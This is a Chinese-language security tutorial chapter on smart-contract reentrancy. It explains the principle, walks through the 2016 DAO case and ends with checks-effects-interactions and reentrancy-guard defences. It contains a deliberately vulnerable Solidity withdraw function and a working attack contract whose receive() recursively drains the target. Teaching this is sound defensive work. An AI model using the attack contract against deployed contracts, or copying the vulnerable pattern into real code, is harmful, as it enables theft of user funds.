第三章:重入攻击(Reentrancy)——原理剖析、经典DAO攻击案例、防护方案
重入攻击,这名字听着挺学术,说白了就是——你刚把钱打给别人,别人还没等你更新账本,又跑回来找你要钱。
我最早接触这个漏洞,是在一次内部代码审计中。当时看到一个合约的提现函数,先转账、后更新余额。我心里咯噔一下:这不就是等着被薅羊毛吗?果不其然,测试网上一跑,攻击合约直接递归调用,把池子抽干了。
好,咱们今天就把这个经典漏洞彻底讲透。
3.1 原理剖析:到底什么是重入攻击?
重入攻击的核心,在于外部调用与状态更新的顺序搞反了。
正常的逻辑应该是:
先扣钱(更新余额)→ 再给东西(转账)。
但很多新手写合约,习惯写成:
先给东西(转账)→ 再扣钱(更新余额)。
你想想看,如果接收方是一个攻击合约,它收到钱的那一刻,就会触发一个fallback函数。这个函数里,攻击者可以再次调用你的提现函数。而你的合约此时还没更新余额,所以攻击者还能再提一次。如此循环,直到你的合约被掏空。
嗯,这里要注意:重入攻击不是一次攻击,而是一连串的攻击。每一次递归调用,都在你的合约状态更新之前发生。
关键点:
- 攻击条件:外部调用(如
call.value())发生在状态更新之前 - 攻击载体:接收方的
fallback或receive函数 - 攻击结果:合约余额被多次提取,远超应得金额
3.2 经典DAO攻击案例:史上最贵的漏洞
说到重入攻击,就绕不开2016年的The DAO事件。那次攻击直接导致以太坊硬分叉,损失约360万ETH。按今天的价格算,嗯,几百亿美金吧。
我当时还在读白皮书,看到这个案例时整个人都震惊了——一个如此简单的逻辑错误,居然能撼动整个区块链世界。
咱们来看一个简化版的DAO合约:
// 有漏洞的合约
contract SimpleDAO {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
// 漏洞在这里:先转账
msg.sender.call{value: _amount}("");
// 后更新状态
balances[msg.sender] -= _amount;
}
}
攻击合约长这样:
contract Attack {
SimpleDAO public target;
uint public attackCount;
constructor(address _target) {
target = SimpleDAO(_target);
}
// 攻击入口
function attack() public payable {
target.deposit{value: 1 ether}();
target.withdraw(1 ether);
}
// fallback函数:每次收到ETH就重入
receive() external payable {
if (address(target).balance >= 1 ether) {
attackCount++;
target.withdraw(1 ether);
}
}
}
攻击流程是这样的:
- 攻击者先存入1个ETH,获得1个ETH的余额
- 调用
withdraw(1 ether),合约检查余额通过 - 合约向攻击合约转账1 ETH,触发
receive() - 攻击合约的
receive()再次调用withdraw(1 ether) - 此时攻击者的余额还是1 ETH(因为还没更新),检查再次通过
- 重复步骤3-5,直到目标合约余额不足
为什么会这样?因为状态更新被放在了转账之后。每次递归调用时,攻击者的余额都还是初始值。
我曾经在审计中见过类似的代码:一个NFT市场合约,先给买家转NFT,再扣钱。结果攻击者利用ERC721的onERC721Received回调,实现了重入攻击。所以记住:任何外部调用都可能成为重入的入口,不仅仅是ETH转账。
3.3 防护方案:检查-生效-交互模式(Checks-Effects-Interactions)
这个模式,我个人习惯叫它「CEI模式」。它是Solidity社区公认的防重入标准做法。说白了就是三个步骤,顺序不能乱:
| 步骤 | 做什么 | 示例 |
|---|---|---|
| 1. 检查(Checks) | 验证所有前置条件 | require(balances[msg.sender] >= _amount) |
| 2. 生效(Effects) | 更新合约内部状态 | balances[msg.sender] -= _amount |
| 3. 交互(Interactions) | 执行外部调用 | msg.sender.call{value: _amount}("") |
修复后的代码:
// 安全的合约:遵循CEI模式
contract SafeDAO {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
// 1. 检查
require(balances[msg.sender] >= _amount, "余额不足");
// 2. 生效:先更新状态
balances[msg.sender] -= _amount;
// 3. 交互:再转账
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "转账失败");
}
}
你看,只是把balances[msg.sender] -= _amount移到了转账之前,整个逻辑就安全了。攻击者再递归调用时,余额已经扣掉了,require直接拦住。
我建议:除了CEI模式,还可以考虑以下防护措施:
- 重入锁(Reentrancy Guard):OpenZeppelin提供了
ReentrancyGuard,用nonReentrant修饰符防止函数重入。适合处理复杂逻辑,或者你实在不确定顺序对不对的情况。 - 限制外部调用:能用
transfer(2300 gas限制)就别用call。但注意,transfer在2023年后已被部分团队弃用,因为gas成本变化可能导致失败。 - 避免跨函数重入:有时候重入发生在不同函数之间。比如函数A调用了外部合约,外部合约又调用了函数B。这种情况CEI模式可能不够,需要加锁。
3.4 避坑指南:我踩过的那些坑
我曾经审计过一个DeFi项目,开发者说「我用了CEI模式,肯定安全」。但我一看代码,发现他在一个循环里调用了外部合约。循环中的每次迭代都涉及外部调用,而状态更新只在循环结束后才做。嗯,这其实是一种变相的重入风险——虽然单次调用没问题,但多次调用之间状态不一致。
还有一次,我看到有人用require(balances[msg.sender] >= _amount)做检查,但balances的更新却放在了另一个内部函数里。结果那个内部函数被其他路径绕过了。所以记住:检查、生效、交互必须在同一个函数内,按顺序写在一起,不要分散到不同函数里。
总结一下防重入的核心原则:
- 先更新状态,后发起外部调用——这是铁律
- 不确定时,加重入锁
- 审计时重点关注所有
.call()、.delegatecall()、.send()、.transfer()的位置 - 不要相信任何外部合约的回调
好了,重入攻击这块就讲到这里。下一章咱们聊聊访问控制漏洞——说白了就是「谁有权干什么」的问题。这个坑,比重入还常见。